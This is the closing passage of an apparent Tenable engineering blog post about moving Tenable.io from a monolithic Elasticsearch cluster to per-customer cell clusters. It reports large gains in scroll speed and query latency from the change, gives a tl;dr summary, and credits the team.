Since we started this effort, we have noticed drastic performance improvement. Elasticsearch scroll speed saw up to 15X performance improvement, and queries decreased in latency of up to several orders of magnitude.

The chart below is a large scroll request that goes through millions of vulnerabilities. Prior to the cell migration, it could take over 24 hours to run the full scroll. The scroll from the monolith cluster suffers slow performance from the frequent resource contention with other customers, and it is further slowed by our fairness algorithm’s throttling. After the customer is migrated to the cell cluster, the same scroll request completes in just over 1.5 hours. Not only is this a large improvement for this customer, but other customers also reap the benefits of the decrease in contention.

In Summary

Our change in scaling strategy has resulted in large performance improvements for the Tenable.io platform. The new request routing layer and backfill process gave us new powerful tools to shard customer data. The resharding process is streamlined to an easy, safe and zero downtime operation.

Overall, the team is thrilled with the end result. It took a lot of ingenuity, dedication, and teamwork to execute a zero downtime migration of this scale.

tl;dr:

  • Exponential customer growth on the Tenable.io platform led to a huge increase in the data stored in a monolithic Elasticsearch cluster to the point where it was becoming a challenge to scale further with the existing architecture.
  • We broke down the site monolith cluster to cell clusters to improve performance.
  • We migrated customer data through a custom proxy and Spark job, all with zero downtime.
  • Scrolls performance improved by 15x, and queries latency reduced by several orders of magnitude.

Brought to you by the Sharders team:
Alan Ning, Alex Barbour, Ciaran Gaffney, Jagan Kondapalli, Johnny Mao, Shannon Prickett, Ted O’Meara, Tristan Burch

Special thanks to Jack Matheson and Vincent Gilcreest for all the help with editing.


Scaling Tenable.io — From Site to Cell was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌
❌